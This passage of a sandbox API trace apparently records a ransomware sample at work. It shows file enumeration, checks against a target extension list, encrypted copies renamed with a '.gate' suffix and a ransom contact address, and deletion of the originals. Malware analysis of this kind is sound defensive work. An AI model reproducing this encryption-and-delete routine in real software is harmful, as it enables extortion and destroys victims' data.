(lpString=".jpg") returned 4 [0111.099] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.099] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.099] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.099] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.099] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=17752) returned 1 [0111.099] CloseHandle (hObject=0x308) returned 1 [0111.099] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 0x80 [0111.100] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.100] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.100] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.100] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0111.104] GetLastError () returned 0x0 [0111.104] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x4558, lpOverlapped=0x0) returned 1 [0111.255] WriteFile (in: hFile=0x334, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x4560, lpOverlapped=0x0) returned 1 [0111.256] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0111.256] WriteFile (in: hFile=0x334, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.257] SetEndOfFile (hFile=0x334) returned 1 [0111.257] CloseHandle (hObject=0x334) returned 1 [0111.260] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.260] SetEndOfFile (hFile=0x308) returned 1 [0111.261] CloseHandle (hObject=0x308) returned 1 [0111.262] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.262] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1053\\setupresources.dll")) returned 1 [0111.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.262] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.262] lstrlenW (lpString=".doc") returned 4 [0111.262] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.262] lstrlenW (lpString=".docx") returned 5 [0111.262] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.262] lstrlenW (lpString=".pdf") returned 4 [0111.262] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.262] lstrlenW (lpString=".xls") returned 4 [0111.263] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.263] lstrlenW (lpString=".xlsx") returned 5 [0111.263] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.263] lstrlenW (lpString=".ppt") returned 4 [0111.263] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.263] lstrlenW (lpString=".zip") returned 4 [0111.263] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.263] lstrlenW (lpString=".rar") returned 4 [0111.263] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.263] lstrlenW (lpString=".bz2") returned 4 [0111.263] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.263] lstrlenW (lpString=".7z") returned 3 [0111.263] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.263] lstrlenW (lpString=".dbf") returned 4 [0111.263] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.263] lstrlenW (lpString=".1cd") returned 4 [0111.263] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.263] lstrlenW (lpString=".jpg") returned 4 [0111.263] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.263] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.263] lstrlenW (lpString=".doc") returned 4 [0111.263] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.264] lstrlenW (lpString=".docx") returned 5 [0111.264] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.264] lstrlenW (lpString=".pdf") returned 4 [0111.264] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.264] lstrlenW (lpString=".xls") returned 4 [0111.264] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.264] lstrlenW (lpString=".xlsx") returned 5 [0111.264] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.264] lstrlenW (lpString=".ppt") returned 4 [0111.264] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.264] lstrlenW (lpString=".zip") returned 4 [0111.264] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.264] lstrlenW (lpString=".rar") returned 4 [0111.264] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.264] lstrlenW (lpString=".bz2") returned 4 [0111.264] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.264] lstrlenW (lpString=".7z") returned 3 [0111.264] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.264] lstrlenW (lpString=".dbf") returned 4 [0111.264] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.264] lstrlenW (lpString=".1cd") returned 4 [0111.264] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.264] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\SetupResources.dll") returned 45 [0111.264] lstrlenW (lpString=".jpg") returned 4 [0111.265] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.265] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0111.265] lstrlenW (lpString="SetupResources.dll") returned 18 [0111.265] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.272] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=17752) returned 1 [0111.272] CloseHandle (hObject=0x308) returned 1 [0111.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 0x80 [0111.273] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0111.273] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.273] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.273] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0111.813] GetLastError () returned 0x0 [0111.813] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x4558, lpOverlapped=0x0) returned 1 [0111.839] WriteFile (in: hFile=0x30c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x4560, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x4560, lpOverlapped=0x0) returned 1 [0111.840] ReadFile (in: hFile=0x308, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0111.840] WriteFile (in: hFile=0x30c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xf8, lpOverlapped=0x0) returned 1 [0111.840] SetEndOfFile (hFile=0x30c) returned 1 [0111.840] CloseHandle (hObject=0x30c) returned 1 [0111.841] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.841] SetEndOfFile (hFile=0x308) returned 1 [0111.842] CloseHandle (hObject=0x308) returned 1 [0111.842] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.842] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1055\\setupresources.dll")) returned 1 [0111.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.843] lstrlenW (lpString=".doc") returned 4 [0111.843] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.843] lstrlenW (lpString=".docx") returned 5 [0111.843] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.843] lstrlenW (lpString=".pdf") returned 4 [0111.843] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.843] lstrlenW (lpString=".xls") returned 4 [0111.843] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.843] lstrlenW (lpString=".xlsx") returned 5 [0111.843] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.843] lstrlenW (lpString=".ppt") returned 4 [0111.843] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.843] lstrlenW (lpString=".zip") returned 4 [0111.843] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.843] lstrlenW (lpString=".rar") returned 4 [0111.843] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.843] lstrlenW (lpString=".bz2") returned 4 [0111.843] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.843] lstrlenW (lpString=".7z") returned 3 [0111.843] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.843] lstrlenW (lpString=".dbf") returned 4 [0111.843] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.843] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.843] lstrlenW (lpString=".1cd") returned 4 [0111.843] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.844] lstrlenW (lpString=".jpg") returned 4 [0111.844] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.844] lstrlenW (lpString=".doc") returned 4 [0111.844] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString=".docx") returned 5 [0111.844] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0111.844] lstrlenW (lpString=".pdf") returned 4 [0111.844] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString=".xls") returned 4 [0111.844] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString=".xlsx") returned 5 [0111.844] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0111.844] lstrlenW (lpString=".ppt") returned 4 [0111.844] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.844] lstrlenW (lpString=".zip") returned 4 [0111.844] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString=".rar") returned 4 [0111.844] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0111.844] lstrlenW (lpString=".bz2") returned 4 [0111.844] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0111.844] lstrlenW (lpString=".7z") returned 3 [0111.844] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0111.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.844] lstrlenW (lpString=".dbf") returned 4 [0111.844] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0111.844] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.845] lstrlenW (lpString=".1cd") returned 4 [0111.845] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0111.845] lstrlenW (lpString="C:\\588bce7c90097ed212\\1055\\SetupResources.dll") returned 45 [0111.845] lstrlenW (lpString=".jpg") returned 4 [0111.845] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0111.845] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0111.845] lstrlenW (lpString="Print.ico") returned 9 [0111.845] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0111.864] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=1150) returned 1 [0111.864] CloseHandle (hObject=0x358) returned 1 [0111.864] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 0x80 [0111.864] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0111.864] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.864] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.864] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0111.865] GetLastError () returned 0x0 [0111.865] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x47e, lpOverlapped=0x0) returned 1 [0111.914] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x480, lpOverlapped=0x0) returned 1 [0111.915] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x0, lpOverlapped=0x0) returned 1 [0111.915] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0xe6, lpOverlapped=0x0) returned 1 [0111.915] SetEndOfFile (hFile=0x35c) returned 1 [0111.915] CloseHandle (hObject=0x35c) returned 1 [0111.916] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.916] SetEndOfFile (hFile=0x358) returned 1 [0111.917] CloseHandle (hObject=0x358) returned 1 [0111.917] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0111.917] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico")) returned 1 [0111.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.920] lstrlenW (lpString=".doc") returned 4 [0111.920] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0111.920] lstrlenW (lpString=".docx") returned 5 [0111.920] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0111.920] lstrlenW (lpString=".pdf") returned 4 [0111.920] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0111.920] lstrlenW (lpString=".xls") returned 4 [0111.920] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0111.920] lstrlenW (lpString=".xlsx") returned 5 [0111.920] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0111.920] lstrlenW (lpString=".ppt") returned 4 [0111.920] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0111.920] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.920] lstrlenW (lpString=".zip") returned 4 [0111.920] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0111.920] lstrlenW (lpString=".rar") returned 4 [0111.921] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0111.921] lstrlenW (lpString=".bz2") returned 4 [0111.921] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0111.921] lstrlenW (lpString=".7z") returned 3 [0111.921] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0111.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.921] lstrlenW (lpString=".dbf") returned 4 [0111.921] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0111.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.921] lstrlenW (lpString=".1cd") returned 4 [0111.921] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0111.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.921] lstrlenW (lpString=".jpg") returned 4 [0111.921] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0111.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.921] lstrlenW (lpString=".doc") returned 4 [0111.921] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0111.921] lstrlenW (lpString=".docx") returned 5 [0111.921] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0111.921] lstrlenW (lpString=".pdf") returned 4 [0111.921] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0111.921] lstrlenW (lpString=".xls") returned 4 [0111.921] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0111.921] lstrlenW (lpString=".xlsx") returned 5 [0111.921] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0111.921] lstrlenW (lpString=".ppt") returned 4 [0111.921] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0111.921] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.921] lstrlenW (lpString=".zip") returned 4 [0111.921] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0111.921] lstrlenW (lpString=".rar") returned 4 [0111.922] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0111.922] lstrlenW (lpString=".bz2") returned 4 [0111.922] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0111.922] lstrlenW (lpString=".7z") returned 3 [0111.922] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0111.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.922] lstrlenW (lpString=".dbf") returned 4 [0111.922] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0111.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.922] lstrlenW (lpString=".1cd") returned 4 [0111.922] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0111.922] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0111.922] lstrlenW (lpString=".jpg") returned 4 [0111.922] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0111.922] lstrcmpiW (lpString1=".ico", lpString2=".gate") returned 1 [0111.922] lstrlenW (lpString="Rotate3.ico") returned 11 [0111.922] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0111.922] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2eaff14 | out: lpFileSize=0x2eaff14*=894) returned 1 [0111.922] CloseHandle (hObject=0x358) returned 1 [0111.922] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico")) returned 0x80 [0111.923] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0111.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0111.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.923] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eafec0 | out: lpNewFilePointer=0x0) returned 1 [0111.923] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0111.923] GetLastError () returned 0x0 [0111.923] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesRead=0x2eafecc*=0x37e, lpOverlapped=0x0) returned 1 [0112.023] WriteFile (in: hFile=0x35c, lpBuffer=0x39cf020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x2eafc94, lpOverlapped=0x0 | out: lpBuffer=0x39cf020*, lpNumberOfBytesWritten=0x2eafc94*=0x380, lpOverlapped=0x0) returned 1 [0112.024] ReadFile (in: hFile=0x358, lpBuffer=0x39cf020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eafecc, lpOverlapped=0x0 | out: 